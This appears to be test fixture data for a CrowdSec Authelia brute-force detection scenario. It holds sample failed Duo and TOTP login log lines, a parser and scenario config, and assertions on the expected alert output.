{"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.8","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'","path":"/api/secondfactor/totp","remote_ip":"8.8.8.9","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go","Line":41,"Name":"SecondFactorTOTPPost"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:54+02:00"} hub1/.tests/authelia-bf/config.yaml000066400000000000000000000004231437532772500174650ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/authelia-logs.yaml scenarios: - ./scenarios/LePresidente/authelia-bf.yaml postoverflows: - "" log_file: authelia-bf.log log_type: authelia labels: {} ignore_parsers: truehub1/.tests/authelia-bf/parser.assert000066400000000000000000000000001437532772500200420ustar00rootroot00000000000000hub1/.tests/authelia-bf/scenario.assert000066400000000000000000002213161437532772500203700ustar00rootroot00000000000000len(results) == 20 "5.5.5.6" in results[0].Overflow.GetSources() results[0].Overflow.Sources["5.5.5.6"].IP == "5.5.5.6" results[0].Overflow.Sources["5.5.5.6"].Range == "" results[0].Overflow.Sources["5.5.5.6"].GetScope() == "Ip" results[0].Overflow.Sources["5.5.5.6"].GetValue() == "5.5.5.6" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[0].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser1@example.com" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[0].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser2@example.com" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[0].Overflow.Alert.Events[2].GetMeta("user") == "fakeuser3@example.com" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" results[0].Overflow.Alert.Events[3].GetMeta("user") == "fakeuser4@example.com" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "authelia-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "authelia_failed_json_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "authelia" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "5.5.5.6" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-16T12:31:49+02:00" 